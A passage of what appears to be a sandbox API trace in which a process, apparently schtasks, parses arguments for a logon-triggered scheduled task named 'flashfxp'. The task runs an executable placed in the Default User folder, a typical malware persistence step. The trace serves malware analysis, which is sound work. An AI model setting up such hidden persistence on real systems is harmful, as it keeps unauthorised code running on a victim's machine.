_ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.931] lstrlenW (lpString="|m|") returned 3 [0163.931] lstrlenW (lpString="|tn|") returned 4 [0163.932] SetLastError (dwErrCode=0x490) [0163.932] lstrlenW (lpString="i") returned 1 [0163.932] lstrlenW (lpString="i") returned 1 [0163.932] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.932] lstrlenW (lpString="tn") returned 2 [0163.932] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.932] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|i|") returned 3 [0163.932] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.932] lstrlenW (lpString="|i|") returned 3 [0163.932] lstrlenW (lpString="|tn|") returned 4 [0163.932] SetLastError (dwErrCode=0x490) [0163.932] lstrlenW (lpString="tn") returned 2 [0163.932] lstrlenW (lpString="tn") returned 2 [0163.932] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.932] lstrlenW (lpString="tn") returned 2 [0163.932] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.932] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.932] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.932] lstrlenW (lpString="|tn|") returned 4 [0163.932] lstrlenW (lpString="|tn|") returned 4 [0163.932] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0163.932] SetLastError (dwErrCode=0x0) [0163.932] SetLastError (dwErrCode=0x0) [0163.932] lstrlenW (lpString="flashfxp") returned 8 [0163.932] lstrlenW (lpString="-/") returned 2 [0163.933] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0163.933] SetLastError (dwErrCode=0x490) [0163.933] SetLastError (dwErrCode=0x490) [0163.933] SetLastError (dwErrCode=0x0) [0163.933] lstrlenW (lpString="flashfxp") returned 8 [0163.933] StrChrIW (lpStart="flashfxp", wMatch=0x3a) returned 0x0 [0163.933] SetLastError (dwErrCode=0x490) [0163.933] SetLastError (dwErrCode=0x0) [0163.933] lstrlenW (lpString="flashfxp") returned 8 [0163.933] SetLastError (dwErrCode=0x0) [0163.933] SetLastError (dwErrCode=0x0) [0163.933] lstrlenW (lpString="/sc") returned 3 [0163.933] lstrlenW (lpString="-/") returned 2 [0163.933] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.933] lstrlenW (lpString="create") returned 6 [0163.933] lstrlenW (lpString="create") returned 6 [0163.933] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.933] lstrlenW (lpString="sc") returned 2 [0163.933] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.933] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|create|") returned 8 [0163.933] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.933] lstrlenW (lpString="|create|") returned 8 [0163.933] lstrlenW (lpString="|sc|") returned 4 [0163.934] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0163.934] SetLastError (dwErrCode=0x490) [0163.934] lstrlenW (lpString="?") returned 1 [0163.934] lstrlenW (lpString="?") returned 1 [0163.934] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.934] lstrlenW (lpString="sc") returned 2 [0163.934] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.934] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|?|") returned 3 [0163.934] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.934] lstrlenW (lpString="|?|") returned 3 [0163.934] lstrlenW (lpString="|sc|") returned 4 [0163.934] SetLastError (dwErrCode=0x490) [0163.934] lstrlenW (lpString="s") returned 1 [0163.934] lstrlenW (lpString="s") returned 1 [0163.934] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.934] lstrlenW (lpString="sc") returned 2 [0163.934] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.934] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|s|") returned 3 [0163.934] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.934] lstrlenW (lpString="|s|") returned 3 [0163.934] lstrlenW (lpString="|sc|") returned 4 [0163.934] SetLastError (dwErrCode=0x490) [0163.934] lstrlenW (lpString="u") returned 1 [0163.934] lstrlenW (lpString="u") returned 1 [0163.934] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.934] lstrlenW (lpString="sc") returned 2 [0163.934] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.935] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|u|") returned 3 [0163.935] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.935] lstrlenW (lpString="|u|") returned 3 [0163.935] lstrlenW (lpString="|sc|") returned 4 [0163.935] SetLastError (dwErrCode=0x490) [0163.935] lstrlenW (lpString="p") returned 1 [0163.935] lstrlenW (lpString="p") returned 1 [0163.935] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.935] lstrlenW (lpString="sc") returned 2 [0163.935] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.935] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|p|") returned 3 [0163.935] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.935] lstrlenW (lpString="|p|") returned 3 [0163.935] lstrlenW (lpString="|sc|") returned 4 [0163.935] SetLastError (dwErrCode=0x490) [0163.935] lstrlenW (lpString="ru") returned 2 [0163.935] lstrlenW (lpString="ru") returned 2 [0163.935] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.935] lstrlenW (lpString="sc") returned 2 [0163.935] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.935] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ru|") returned 4 [0163.935] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.935] lstrlenW (lpString="|ru|") returned 4 [0163.935] lstrlenW (lpString="|sc|") returned 4 [0163.935] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0163.935] SetLastError (dwErrCode=0x490) [0163.935] lstrlenW (lpString="rp") returned 2 [0163.936] lstrlenW (lpString="rp") returned 2 [0163.936] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.936] lstrlenW (lpString="sc") returned 2 [0163.936] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.936] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rp|") returned 4 [0163.936] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.936] lstrlenW (lpString="|rp|") returned 4 [0163.936] lstrlenW (lpString="|sc|") returned 4 [0163.936] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0163.936] SetLastError (dwErrCode=0x490) [0163.936] lstrlenW (lpString="sc") returned 2 [0163.936] lstrlenW (lpString="sc") returned 2 [0163.936] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.936] lstrlenW (lpString="sc") returned 2 [0163.936] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.936] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.936] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.936] lstrlenW (lpString="|sc|") returned 4 [0163.936] lstrlenW (lpString="|sc|") returned 4 [0163.936] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0163.936] SetLastError (dwErrCode=0x0) [0163.936] SetLastError (dwErrCode=0x0) [0163.936] lstrlenW (lpString="ONLOGON") returned 7 [0163.936] lstrlenW (lpString="-/") returned 2 [0163.936] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0163.937] SetLastError (dwErrCode=0x490) [0163.937] SetLastError (dwErrCode=0x490) [0163.937] SetLastError (dwErrCode=0x0) [0163.937] lstrlenW (lpString="ONLOGON") returned 7 [0163.937] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0163.937] SetLastError (dwErrCode=0x490) [0163.937] SetLastError (dwErrCode=0x0) [0163.937] GetProcessHeap () returned 0x310000 [0163.937] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d4c0 [0163.937] _memicmp (_Buf1=0x32d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.937] lstrlenW (lpString="ONLOGON") returned 7 [0163.937] GetProcessHeap () returned 0x310000 [0163.937] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d580 [0163.937] lstrlenW (lpString="ONLOGON") returned 7 [0163.937] lstrlenW (lpString=" \x09") returned 2 [0163.937] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0163.937] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0163.937] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0163.937] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0163.937] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0163.937] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0163.937] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0163.937] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0163.937] GetLastError () returned 0x0 [0163.937] lstrlenW (lpString="ONLOGON") returned 7 [0163.937] lstrlenW (lpString="ONLOGON") returned 7 [0163.937] SetLastError (dwErrCode=0x0) [0163.937] SetLastError (dwErrCode=0x0) [0163.938] lstrlenW (lpString="/tr") returned 3 [0163.938] lstrlenW (lpString="-/") returned 2 [0163.938] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.938] lstrlenW (lpString="create") returned 6 [0163.938] lstrlenW (lpString="create") returned 6 [0163.938] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.938] lstrlenW (lpString="tr") returned 2 [0163.938] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.938] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|create|") returned 8 [0163.938] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.938] lstrlenW (lpString="|create|") returned 8 [0163.938] lstrlenW (lpString="|tr|") returned 4 [0163.938] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0163.938] SetLastError (dwErrCode=0x490) [0163.938] lstrlenW (lpString="?") returned 1 [0163.938] lstrlenW (lpString="?") returned 1 [0163.938] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.938] lstrlenW (lpString="tr") returned 2 [0163.938] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.938] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|?|") returned 3 [0163.938] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.938] lstrlenW (lpString="|?|") returned 3 [0163.938] lstrlenW (lpString="|tr|") returned 4 [0163.938] SetLastError (dwErrCode=0x490) [0163.938] lstrlenW (lpString="s") returned 1 [0163.938] lstrlenW (lpString="s") returned 1 [0163.939] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.939] lstrlenW (lpString="tr") returned 2 [0163.939] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.939] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|s|") returned 3 [0163.939] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.939] lstrlenW (lpString="|s|") returned 3 [0163.939] lstrlenW (lpString="|tr|") returned 4 [0163.939] SetLastError (dwErrCode=0x490) [0163.939] lstrlenW (lpString="u") returned 1 [0163.939] lstrlenW (lpString="u") returned 1 [0163.939] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.939] lstrlenW (lpString="tr") returned 2 [0163.939] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.939] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|u|") returned 3 [0163.939] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.939] lstrlenW (lpString="|u|") returned 3 [0163.939] lstrlenW (lpString="|tr|") returned 4 [0163.939] SetLastError (dwErrCode=0x490) [0163.939] lstrlenW (lpString="p") returned 1 [0163.939] lstrlenW (lpString="p") returned 1 [0163.939] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.939] lstrlenW (lpString="tr") returned 2 [0163.939] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.939] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|p|") returned 3 [0163.939] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.939] lstrlenW (lpString="|p|") returned 3 [0163.939] lstrlenW (lpString="|tr|") returned 4 [0163.940] SetLastError (dwErrCode=0x490) [0163.940] lstrlenW (lpString="ru") returned 2 [0163.940] lstrlenW (lpString="ru") returned 2 [0163.940] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.940] lstrlenW (lpString="tr") returned 2 [0163.940] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.940] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ru|") returned 4 [0163.940] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.940] lstrlenW (lpString="|ru|") returned 4 [0163.940] lstrlenW (lpString="|tr|") returned 4 [0163.940] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0163.940] SetLastError (dwErrCode=0x490) [0163.940] lstrlenW (lpString="rp") returned 2 [0163.940] lstrlenW (lpString="rp") returned 2 [0163.940] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.940] lstrlenW (lpString="tr") returned 2 [0163.940] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.940] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rp|") returned 4 [0163.940] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.940] lstrlenW (lpString="|rp|") returned 4 [0163.940] lstrlenW (lpString="|tr|") returned 4 [0163.940] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0163.940] SetLastError (dwErrCode=0x490) [0163.940] lstrlenW (lpString="sc") returned 2 [0163.940] lstrlenW (lpString="sc") returned 2 [0163.940] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.940] lstrlenW (lpString="tr") returned 2 [0163.941] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.941] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.941] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.941] lstrlenW (lpString="|sc|") returned 4 [0163.941] lstrlenW (lpString="|tr|") returned 4 [0163.941] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0163.941] SetLastError (dwErrCode=0x490) [0163.941] lstrlenW (lpString="mo") returned 2 [0163.941] lstrlenW (lpString="mo") returned 2 [0163.941] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.941] lstrlenW (lpString="tr") returned 2 [0163.941] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.941] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|mo|") returned 4 [0163.941] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.941] lstrlenW (lpString="|mo|") returned 4 [0163.941] lstrlenW (lpString="|tr|") returned 4 [0163.941] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0163.941] SetLastError (dwErrCode=0x490) [0163.941] lstrlenW (lpString="d") returned 1 [0163.941] lstrlenW (lpString="d") returned 1 [0163.941] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.941] lstrlenW (lpString="tr") returned 2 [0163.941] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.941] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|d|") returned 3 [0163.941] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.941] lstrlenW (lpString="|d|") returned 3 [0163.942] lstrlenW (lpString="|tr|") returned 4 [0163.942] SetLastError (dwErrCode=0x490) [0163.942] lstrlenW (lpString="m") returned 1 [0163.942] lstrlenW (lpString="m") returned 1 [0163.942] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.942] lstrlenW (lpString="tr") returned 2 [0163.942] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.942] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|m|") returned 3 [0163.942] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.942] lstrlenW (lpString="|m|") returned 3 [0163.942] lstrlenW (lpString="|tr|") returned 4 [0163.942] SetLastError (dwErrCode=0x490) [0163.942] lstrlenW (lpString="i") returned 1 [0163.942] lstrlenW (lpString="i") returned 1 [0163.942] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.942] lstrlenW (lpString="tr") returned 2 [0163.942] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.942] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|i|") returned 3 [0163.942] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.942] lstrlenW (lpString="|i|") returned 3 [0163.942] lstrlenW (lpString="|tr|") returned 4 [0163.942] SetLastError (dwErrCode=0x490) [0163.942] lstrlenW (lpString="tn") returned 2 [0163.942] lstrlenW (lpString="tn") returned 2 [0163.942] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.943] lstrlenW (lpString="tr") returned 2 [0163.943] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.943] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.943] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.943] lstrlenW (lpString="|tn|") returned 4 [0163.943] lstrlenW (lpString="|tr|") returned 4 [0163.943] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0163.943] SetLastError (dwErrCode=0x490) [0163.943] lstrlenW (lpString="tr") returned 2 [0163.943] lstrlenW (lpString="tr") returned 2 [0163.943] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.943] lstrlenW (lpString="tr") returned 2 [0163.943] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.943] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.943] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.943] lstrlenW (lpString="|tr|") returned 4 [0163.943] lstrlenW (lpString="|tr|") returned 4 [0163.943] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0163.943] SetLastError (dwErrCode=0x0) [0163.943] SetLastError (dwErrCode=0x0) [0163.943] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.943] lstrlenW (lpString="-/") returned 2 [0163.943] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0163.943] SetLastError (dwErrCode=0x490) [0163.943] SetLastError (dwErrCode=0x490) [0163.943] SetLastError (dwErrCode=0x0) [0163.943] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.943] StrChrIW (lpStart="'C:\\Users\\Default User\\flashfxp.exe'", wMatch=0x3a) returned=":\\Users\\Default User\\flashfxp.exe'" [0163.944] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.944] _memicmp (_Buf1=0x32d500, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.944] _memicmp (_Buf1=0x32d540, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.944] SetLastError (dwErrCode=0x7a) [0163.944] SetLastError (dwErrCode=0x0) [0163.944] SetLastError (dwErrCode=0x0) [0163.944] lstrlenW (lpString="'C") returned 2 [0163.944] lstrlenW (lpString="-/") returned 2 [0163.944] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0163.944] SetLastError (dwErrCode=0x490) [0163.944] SetLastError (dwErrCode=0x490) [0163.944] SetLastError (dwErrCode=0x0) [0163.944] _memicmp (_Buf1=0x32d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.944] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.944] GetProcessHeap () returned 0x310000 [0163.944] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d580) returned 1 [0163.944] GetProcessHeap () returned 0x310000 [0163.944] RtlReAllocateHeap (Heap=0x310000, Flags=0xc, Ptr=0x32d580, Size=0x4a) returned 0x32c250 [0163.944] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.944] lstrlenW (lpString=" \x09") returned 2 [0163.944] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0163.944] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0163.944] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0163.944] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0163.944] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.944] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0163.944] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.944] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0163.945] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0163.945] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.946] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0163.946] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.946] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0163.946] GetLastError () returned 0x0 [0163.946] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.946] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.946] SetLastError (dwErrCode=0x0) [0163.946] SetLastError (dwErrCode=0x0) [0163.946] lstrlenW (lpString="/rl") returned 3 [0163.946] lstrlenW (lpString="-/") returned 2 [0163.946] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.946] lstrlenW (lpString="create") returned 6 [0163.946] lstrlenW (lpString="create") returned 6 [0163.946] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.946] 